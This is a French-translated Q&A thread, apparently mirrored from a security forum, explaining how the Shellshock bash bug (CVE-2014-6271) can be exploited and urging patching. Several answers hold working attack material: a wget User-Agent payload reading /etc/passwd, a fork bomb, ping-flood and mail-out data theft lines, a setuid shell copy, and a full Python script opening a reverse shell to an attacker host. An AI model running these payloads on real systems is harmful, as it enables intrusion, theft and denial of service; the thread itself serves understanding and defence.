web-dev-qa-db-fra.com

Quel est un exemple spécifique de la façon dont le bogue Shellshock Bash pourrait être exploité?

J'ai lu quelques articles ( article1 , article2 , article , article4 ) sur le Shellshock = Bogue bug ( CVE-2014-6271 signalé le 24 septembre 2014) et avoir une idée générale de ce qu'est la vulnérabilité et comment elle pourrait être exploitée. Pour mieux comprendre les implications du bogue, quel serait un exemple simple et spécifique d'un vecteur/scénario d'attaque qui pourrait exploiter le bogue?

211
Rob Bednark

Un exemple très simple serait un cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Appelez-le ensuite avec wget pour échanger la chaîne de l'agent utilisateur. Par exemple. cela montrera le contenu de/etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

Pour le décomposer:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Ressemble à:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

Si je comprends bien, le problème est que même s'il est correct de définir une fonction dans une variable d'environnement, bash n'est pas censé exécuter le code après.

L'extra "Content-type:" est uniquement à titre d'illustration. Il empêche l'erreur 500 et affiche le contenu du fichier.

L'exemple ci-dessus montre également comment ce n'est pas un problème d'erreurs de programmation, même les cgi bash normalement sûrs et inoffensifs qui ne prennent même pas en compte l'utilisateur peuvent être exploités.

157
mgjk

Avec l'accès à bash, même à partir du PDV d'un utilisateur Web, les options sont infinies. Par exemple, voici une bombe fourchette:

() { :; }; :(){ :|: & };:

Il suffit de mettre cela dans une chaîne d'agent utilisateur sur un navigateur, d'aller sur votre page Web et de faire un DoS instantané sur votre serveur Web.

Ou, quelqu'un pourrait utiliser votre serveur comme bot d'attaque:

() { :; }; ping -s 1000000 <victim IP>

Mettez cela sur plusieurs autres serveurs et vous parlez de vraie bande passante.

Autres vecteurs d'attaque:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" [email protected]
() { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]

# setuid Shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

Il existe d'innombrables autres possibilités: inverser les shells, exécuter des serveurs sur les ports, télécharger automatiquement certains rootkit pour passer d'un utilisateur Web à un utilisateur root. C'est un coquillage! Il peut tout faire. En ce qui concerne les catastrophes de sécurité, c'est encore pire que Heartbleed.

La partie importante est que vous corrigez votre système. MAINTENANT! Si vous avez toujours des serveurs externes qui ne sont toujours pas corrigés, que faites-vous toujours lire ceci?!

Les pirates font déjà ces choses ci-dessus, et vous ne le savez même pas!

99
Brendan Byrd

Ce ne sont pas seulement des serveurs; le logiciel client peut également être affecté. Voici un exemple d'un client DHCP vulnérable . Si une machine a un client aussi vulnérable (et bash cassé), n'importe quelle machine du sous-réseau peut envoyer des réponses DHCP incorrectes et obtenir des privilèges root.

Étant donné l'utilisation généralisée des variables d'environnement pour partager l'état entre les processus sous Unix et la quantité de logiciels potentiellement impliqués, la surface d'attaque est très grande. Ne pensez pas que votre machine est sûre car vous n'exécutez pas de serveur Web. Le seul correctif consiste à obtenir un correctif bash, envisagez de passer à un shell par défaut moins complexe (tel que dash) et espérez qu'il n'y a pas beaucoup plus de vulnérabilités similaires.

13
Tim Dierks

Vous n'avez pas besoin d'utiliser explicitement bash pour que cela soit un problème. Le vrai problème est de permettre aux attaquants d'avoir leur mot à dire sur la valeur des variables d'environnement. Une fois l'environnement défini, ce n'est qu'une question de temps avant que certains Shell ne soient exécutés (peut-être à votre insu) avec un environnement pour lequel ils n'étaient pas préparés.

Chaque programme (bash, Java, tcl, php, ...) a cette signature:

int main(int argc, char** argv, char** arge);

Les développeurs ont l'habitude de vérifier la propreté de l'argc et de l'argv. La plupart ignoreront l'arge et n'essaieront pas de le valider avant de générer des sous-coquilles (explicitement ou implicitement). Et dans ce cas, bash ne se défend pas correctement contre une mauvaise entrée. Afin de câbler une application ensemble, des sous-processus sont générés. Au fond, quelque chose comme ça se produit:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

Dans votre propre code, il ne peut y avoir aucune référence à bash. Mais peut-être que vous lancez tcl, et quelque chose au fond du code tcl lance bash pour vous. Il hériterait des variables d'environnement actuellement définies.

Dans le cas de la version vulnérable de bash, quelque chose comme ça se produit:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

Où parseEnvironment voit un tas de définitions de variables d'environnement qu'il ne reconnaît même pas nécessairement. Mais il va deviner que certaines de ces variables d'environnement sont des définitions de fonction:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash n'a aucune idée de ce qu'est un HTTP_COOKIE. Mais cela commence par (), donc bash devine qu'il s'agit d'une définition de fonction. Il vous permet également utilement d'ajouter du code immédiatement exécuté après la définition de la fonction, car vous devrez peut-être initialiser certains effets secondaires avec votre définition de fonction. Le patch supprime la possibilité d'ajouter des effets secondaires après la définition de la fonction.

Mais l'idée générale qu'une variable d'environnement peut rester inactive avec la définition de fonction fournie par l'attaquant est encore très troublante!

recieve='() { echo you meant receive lol; }'

Si l'attaquant peut amener ce nom de variable à obtenir une valeur qu'il a fournie, et sait également qu'il peut attendre qu'un sous-processus bash essaie d'invoquer une fonction de ce nom, alors ce serait un autre vecteur d'attaque.

Ceci est juste l'ancienne mise en garde de valider vos entrées. Comme les shells peuvent apparaître comme un détail d'implémentation surprenant, jamais définissez une variable d'environnement sur une valeur qui n'est pas étroitement validée. Cela signifie que tout programme possible qui lit cette variable d'environnement ne fera rien d'inattendu avec la valeur; comme l'exécuter en tant que code.

Aujourd'hui, c'est bash. Demain, c'est Java, sh, tcl ou node. Ils prennent tous un pointeur d'environnement dans leur fonction principale; et ils ont tous des limites différentes sur ce qu'ils vont gérer en toute sécurité (jusqu'à ce qu'ils soient corrigés).

12
Rob

Voici un exemple à travers un script CGI pour une attaque à distance, non testé - Tiré de http://Pastebin.com/166f8Rjx

Comme tous les exploits, il dépend des circonstances. Se connecte à un fichier cgi distant sur le serveur Web et lance un shell inversé

() {ignoré;};/bin/bash -i> &/dev/tcp /% s 0> & 1 "% sys.argv [3 ]

#
#CVE-2014-6271 cgi-bin reverse Shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <Host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_Shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_Shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
7
poperob